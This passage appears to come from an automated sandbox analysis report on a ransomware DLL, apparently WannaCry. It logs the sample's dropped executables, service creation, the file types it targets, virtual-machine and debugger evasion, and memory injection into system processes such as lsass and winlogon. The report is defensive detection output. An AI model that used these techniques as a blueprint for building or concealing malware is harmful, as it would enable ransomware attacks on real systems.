              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /iJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
              Source: C:\Windows\mssecsvc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
              Source: classification engineClassification label: mal100.rans.troj.evad.winDLL@30/9@22/3
              Source: C:\Windows\tasksche.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,28_2_00401CE8
              Source: C:\Windows\tasksche.exeCode function: 28_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,28_2_00401CE8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A805F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,4_2_00A805F2
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7Qu8thR7WW.dll,PlayGame
              Source: tasksche.exe, 0000001C.00000000.371807837.000000000040E000.00000008.00000001.01000000.00000007.sdmp, 7Qu8thR7WW.dll, tasksche.exe.8.dr, mssecsvc.exe.2.drBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\UNP\UpdateNotificationMgr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\UNP\UpdateNotificationMgr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: 7Qu8thR7WW.dllStatic file information: File size 5267459 > 1048576
              Source: 7Qu8thR7WW.dllStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000
              Source: C:\Windows\tasksche.exeCode function: 28_2_00407710 push eax; ret 28_2_0040773E
              Source: C:\Windows\tasksche.exeCode function: 28_2_004076C8 push eax; ret 28_2_004076E6
              Source: mssecsvc.exe.2.drStatic PE information: section name: fhrpkmx
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83CCE LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,CreateThread,CloseHandle,WSAStartup,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,4_2_00A83CCE
              Source: initial sampleStatic PE information: section where entry point is pointing to: .rsrc

              Persistence and Installation Behavior

              barindex
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Windows\SysWOW64\rundll32.exeExecutable created and started: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeExecutable created and started: C:\WINDOWS\tasksche.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\tasksche.exeCode function: 28_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,28_2_00401CE8
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Found evasive API chain (may execute only at specific dates)
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodes,Sleepgraph_16-2492
              Query firmware table information (likely to detect VMs)
              Source: C:\Windows\System32\svchost.exeSystem information queried: FirmwareTableInformationJump to behavior
              Tries to evade debugger and weak emulator (self modifying code)
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A716B7 instructions caused by: Self-modifying code
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A6B1E4 instructions caused by: Self-modifying code
              Source: C:\Windows\System32\svchost.exe TID: 7008Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\System32\svchost.exe TID: 7016Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\System32\UNP\UpdateNotificationMgr.exe TID: 5136Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\System32\svchost.exe TID: 3004Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_16-2492
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8042D rdtsc 4_2_00A8042D
              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
              Source: C:\Windows\mssecsvc.exeAPI coverage: 6.4 %
              Source: C:\Windows\mssecsvc.exeAPI coverage: 8.6 %
              Source: C:\Windows\mssecsvc.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\loaddll32.exeThread delayed: delay time: 120000Jump to behavior
              Source: dwm.exe, 0000001A.00000000.351955599.0000026F19D40000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&C7ACPI\PNP0200\4&1bd7f811&0ROOT\UMBUS\0000SCSI\Disk&Ven_VMware&Prod_Virt+
              Source: svchost.exe, 00000015.00000000.326447091.000001BC27436000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat
              Source: dwm.exe, 0000001A.00000002.830514772.0000026F1A010000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000O
              Source: svchost.exe, 0000001E.00000000.392801138.00000219BEFA6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeatTSPLMEMp
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Block any other outbound traffic for vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicheartbeat-block-out
              Source: svchost.exe, 0000001E.00000000.397783573.00000219C010E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`
              Source: mssecsvc.exe, 00000004.00000002.558528675.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000004.00000002.558158091.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.676321981.0000017691058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.675023918.000001768BA29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.816547296.000001A291628000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.337743697.000001A291628000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.335607730.000001A291628000.00000004.00000001.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000003.436515193.000001FC0E074000.00000004.00000020.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000003.433416761.000001FC0E074000.00000004.00000020.00020000.00000000.sdmp, UpdateNotificationMgr.exe, 00000024.00000002.438922667.000001FC0E074000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Block any other inbound traffic for vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicheartbeat-allow-out
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicvss-block-out
              Source: dwm.exe, 0000001A.00000000.353201839.0000026F1A051000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 00000018.00000002.815973383.0000025E76048000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicshutdown-block-in
              Source: dwm.exe, 0000001A.00000002.821148635.0000026F1793D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000008
              Source: svchost.exe, 0000001E.00000002.825796399.00000219BF800000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@Allow outbound TCP traffic for vmicheartbeat
              Source: svchost.exe, 00000028.00000000.431507365.000002631D63F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.817681565.000002631D63F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 00000020.00000002.819590805.0000029A96A29000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000_0r
              Source: svchost.exe, 00000015.00000000.325705501.000001BC27288000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 00000015.00000000.327596775.000001BC27C00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicshutdown
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat-allow-in-1
              Source: svchost.exe, 0000001E.00000000.392801138.00000219BEFA6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000015.00000000.326447091.000001BC27436000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicvss
              Source: svchost.exe, 00000027.00000002.819218263.000001B0474B5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW$3
              Source: svchost.exe, 00000015.00000000.326447091.000001BC27436000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdown
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicvss
              Source: svchost.exe, 00000028.00000002.843176097.000002631EA63000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM
              Source: svchost.exe, 00000018.00000000.344225223.0000025E7605B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 389 traffic for vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicshutdown
              Source: svchost.exe, 00000027.00000002.816791985.000001B04745E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWp:LG
              Source: svchost.exe, 00000015.00000000.327596775.000001BC27C00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicshutdown-block-out
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat-block-in
              Source: lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
              Source: svchost.exe, 0000001E.00000000.392801138.00000219BEFA6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp`
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
              Source: svchost.exe, 0000001E.00000000.392801138.00000219BEFA6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 389 traffic for vmicheartbeatLMEMpp
              Source: svchost.exe, 00000028.00000000.436643821.000002631E28B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMwareVirtual disk2.0NULLSCSI0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\4&2509f6e&0&00A8
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicvss
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
              Source: svchost.exe, 00000006.00000000.538495689.000001513A056000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.815430961.000001513A056000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.816255527.000002385E464000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.814895046.00000272BA629000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.306010416.0000025D33213000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000000.310260980.0000025D33213000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000F.00000002.815249586.0000025D33213000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.391673542.00000219BE6B4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.819376495.00000219BE6B4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000000.401259975.000001CC4D229000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.814845506.000001CC4D229000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
              Source: svchost.exe, 0000001E.00000002.825796399.00000219BF800000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Block any inbound traffic for vmicshutdown
              Source: svchost.exe, 00000016.00000002.676377548.0000017691065000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "@Hyper-V RAW
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicshutdown
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat-allow-in-2
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicvss
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware7,1
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
              Source: svchost.exe, 00000028.00000000.431507365.000002631D63F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.817681565.000002631D63F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 00000006.00000000.537906637.000001513A002000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
              Source: lsass.exe, 0000000F.00000000.312289979.0000025D3327E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
              Source: svchost.exe, 0000001E.00000002.825796399.00000219BF800000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Block any outbound traffic for vmicshutdown
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Allow inbound TCP port 636 traffic for vmicheartbeat
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@Block any inbound traffic for vmicvss
              Source: UpdateNotificationMgr.exe, 00000024.00000002.438550070.000001FC0E014000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7VMware7,1
              Source: svchost.exe, 00000027.00000002.818426720.000001B04749A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW71.00V.18227214.B64.210625222006/25/2021
              Source: svchost.exe, 00000028.00000002.843176097.000002631EA63000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: nonicVMware Virtual disk 2.0 NULL
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicvss-block-in
              Source: svchost.exe, 0000001E.00000002.825949317.00000219BF80A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83CCE LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,CreateThread,CloseHandle,WSAStartup,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,4_2_00A83CCE
              Source: C:\Windows\tasksche.exeCode function: 28_2_004029CC free,GetProcessHeap,HeapFree,28_2_004029CC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8042D rdtsc 4_2_00A8042D
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A805F2 mov eax, dword ptr fs:[00000030h]4_2_00A805F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8042D mov eax, dword ptr fs:[00000030h]4_2_00A8042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8025E mov edx, dword ptr fs:[00000030h]4_2_00A8025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 mov eax, dword ptr fs:[00000030h]4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA025E mov edx, dword ptr fs:[00000030h]4_2_7FEA025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D mov eax, dword ptr fs:[00000030h]4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD05F2 mov eax, dword ptr fs:[00000030h]16_2_00BD05F2
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD042D mov eax, dword ptr fs:[00000030h]16_2_00BD042D
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD025E mov edx, dword ptr fs:[00000030h]16_2_00BD025E
              Source: C:\Windows\mssecsvc.exeProcess queried: DebugPortJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Maps a DLL or memory area into another process
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\futtVt target: unknown protection: execute and read and writeJump to behavior
